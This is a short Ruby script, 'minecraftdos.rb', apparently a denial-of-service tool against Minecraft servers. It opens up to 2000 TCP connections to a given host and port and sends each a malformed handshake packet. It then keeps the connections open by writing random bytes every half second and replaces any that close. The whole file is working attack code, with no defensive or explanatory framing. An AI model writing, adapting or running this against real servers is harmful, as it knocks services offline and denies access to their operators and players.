minecraftdos.rb

#! /usr/bin/env ruby
require 'socket'
require 'thread'

HOST, PORT = ARGV.shift.split(':') + [25565]
COUNT      = ARGV.shift || 2000

sockets = Class.new(Array) {
  def initialize (number)
    @number = number
  end

  def spawn
    self.each {|s|
      self.delete(s) if s.closed?
    }

    to_spawn = @number - self.length

    if to_spawn > 0
      puts "Spawning #{to_spawn} fake connections"

      1.upto(to_spawn) {
        socket = TCPSocket.new(HOST, PORT)
        socket.write_nonblock("\x02\xff\xff")

        self << socket
      }
    end
  end
}.new(COUNT)

thread = Thread.new {
  loop do
    sockets.each {|socket|
      begin
        socket.write_nonblock((rand * 255).floor.chr)
      rescue Exception => e
        socket.close rescue nil
      end
    }

    begin; sockets.spawn; rescue; break; end

    sleep 0.5
  end
}

thread.join